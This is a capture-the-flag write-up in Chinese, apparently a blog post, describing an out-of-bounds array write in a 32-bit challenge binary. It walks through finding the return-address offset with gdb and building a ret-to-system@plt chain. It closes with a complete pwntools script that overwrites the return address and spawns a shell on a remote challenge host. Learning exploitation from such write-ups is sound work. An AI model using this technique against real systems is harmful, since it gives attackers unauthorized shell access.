0x1
检查安全机制,开启了canary、栈不可执行,没开ALSR:

0x2
运行程序,有四个功能:

ida静态分析,没有溢出漏洞,但是在改变数字时没有对数组索引作校验,因此可以越界读写

0x3
数组类型是char,因此每个单元1字节,p32程序栈帧大小4字节,因此每个栈帧对应4个数组单元:
![]()
栈结构如下:

与返回地址偏移0x70+0x4字节
但是,实际上利用0x74作偏移时是不行的,原因在于main的最后修改了esp的值,因此返回地址应该是修改后的esp的下方4字节

用gdb在ret下断点作动态分析:
可以看到lea指令实际效果是esp+10,因此,真正的返回地址偏移起始位置是0x84
0x4
由于程序是小端序,因此栈低地址(靠近栈顶)存放低位地址,即对于hack_here首条指令地址0x0804859B:

数组下标0x84-0x87存放0x9B、0x85、0x04、0x08实现调用/bin/bash
0x5
但是!远程主机没有bash,因此这个hack_here是无效的
发现plt表有system条目:
![]()
ROPgardget查找字符串sh:

因此,数组下标0x84-0x87存放0x50、0x84、0x04、0x08,即返回地址
system形参有两个,一般是0、内容,因此:
- 数组下标0x88-0x8B跳过或写0
- 数组下标0x8C-0x8F存放sh字符串地址,即0x87、0x89、0x04、0x08
由于有那个+10,这里就不画栈结构了,代码如下:
from pwn import*
context(os='linux', arch='amd64',log_level = 'debug')
p=remote("61.147.171.105", 51684)
#p=process("./3f")
p.sendlineafter(" have:","1")
p.sendlineafter("numbers","1")
p.sendlineafter("5. exit","3")
#0x080485D0
p.sendlineafter("which number to change:",str(int(0x84)))
p.sendlineafter("new number:",str(0x50))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x85)))
p.sendlineafter("new number:",str(int(0x84)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x86)))
p.sendlineafter("new number:",str(int(0x04)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x87)))
p.sendlineafter("new number:",str(int(0x08)))
#0x08048ab3
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8C)))
p.sendlineafter("new number:",str(int(0x87)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8D)))
p.sendlineafter("new number:",str(int(0x89)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8E)))
p.sendlineafter("new number:",str(int(0x04)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8F)))
p.sendlineafter("new number:",str(int(0x08)))
p.sendlineafter("5. exit","5")
p.interactive()
运行结果:

0x6
注意一下:
- 这里利用的是main结束后的ret
- 利用IO向内存直接写16进制数据要先把十六进制转int,再转str,即str(int(0x1)),否则是无效的
文章详细分析了一个程序的安全设置,包括开启的canary和栈不可执行保护,但未开启ALSR。通过ida静态分析和gdb动态调试,发现程序存在数组越界读写的漏洞。由于程序是小端序,作者利用栈溢出构造ROP链,目标是调用system函数执行sh。然而,远程主机没有bash,所以最初的目标无效,改为寻找并利用plt表中的system条目。最终,作者编写了pwn脚本,成功地修改栈中的返回地址和参数,以执行系统命令。
1565

被折叠的 条评论
为什么被折叠?



